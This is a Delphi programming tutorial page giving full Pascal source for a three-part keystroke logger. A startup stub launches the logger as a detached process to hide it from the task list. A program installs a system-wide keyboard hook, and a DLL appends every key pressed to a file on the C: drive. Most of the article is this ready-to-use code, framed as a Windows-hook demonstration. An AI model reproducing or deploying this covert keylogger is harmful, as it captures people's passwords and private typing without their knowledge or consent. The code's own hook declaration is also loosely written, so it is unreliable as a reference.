Articles - Intercepting Keystrokes

'

Introduction

This article was written by Peter Johnson. Peter has written a number of articles, components and applications, unfortunately the web address we have is no longer valid, if you know where it is now please let us know.

The following three programs show how to setup a Windows hook to intercept system keystrokes and save them to a file. While this example uses the WH_KEYBOARD hook it could be applied to any of the available hook classes.

As these modules don't require any of Delphi's standard application framework they should all be saved as a .DPR file. I assume these examples would work with any of the Windows versions of Turbo Pascal. Perhaps someone could let me know?

Startup

Starts the main program as a detached process to stop it appearing in the windows task list. You will have to change the 'ProgramName' constant to point to the SNOOP executable. This step can be omitted if you don't mind an entry on the task bar.

Snoop

This module simply loads the SNOOPDLL module and installs it as a keyboard hook. The program performs an infinite sleep so the DLL handle remains valid. I have included the necessary cleanup code even though it never gets called in this particular example.

SnoopDll

This is the DLL that performs the actual work. The file is opened and closed on each call so the file can be accessed at any time. This obviously causes quite a bit of disk activity that could be avoided by adding some buffering code.

uses Windows;
{$R *.RES}


const ProgramName = 'C:\SNOOP.EXE';
var
   StartupInfo : TStartupInfo;
   ProcessInformation : TProcessInformation;
Begin
   GetStartupInfo(StartupInfo);
   CreateProcess(ProgramName,Nil,Nil,Nil,False,DETACHED_PROCESS,
                 Nil,Nil,StartupInfo,
   ProcessInformation);
end.


program Snoop;
uses Windows;
{$R *.RES}

var
   Hook : HHOOK;
   DllInstance : DWORD;
   HookProc : FARPROC;

Begin
   DllInstance := LoadLibrary('SNOOPDLL');
   HookProc := GetProcAddress(DllInstance, 'HookProcedure');
   Hook := SetWindowsHookEx(WH_KEYBOARD, HookProc, DllInstance, 0);
   Sleep(INFINITE);
   UnhookWindowsHookEx(Hook);
   FreeLibrary(DllInstance);
end.


library snoopdll;

uses Windows;
Procedure HookProcedure(nCode: Integer; wParam: WPARAM;
                        lParam: LPARAM); stdcall;
var 
   LogFile : THandle;
   BytesWritten : DWORD;
   Ch : Byte;
begin
   if ((HiWord(lParam) and KF_UP) <> 0) and 
       (nCode = HC_ACTION) then
   begin
      LogFile := CreateFile('c:\x.x', GENERIC_WRITE, 
                                      FILE_SHARE_READ, Nil,
                                      OPEN_ALWAYS, 0, 0);
      SetFilePointer(LogFile, 0, Nil, FILE_END);
      WriteFile (LogFile, wParam, 1, BytesWritten, Nil);
      if Lo(wParam) = 13 then
      begin
         Ch := 10;
         WriteFile (LogFile, Ch, 1, BytesWritten, Nil);
      end;
      CloseHandle(LogFile);
   end;
   CallNextHookEx(0, nCode, wParam, lParam);
end;

exports HookProcedure;
end.

Google
Web www.Delphi-Central.com
Delphi Central - Delphi Programming Tutorials, Hints and Tips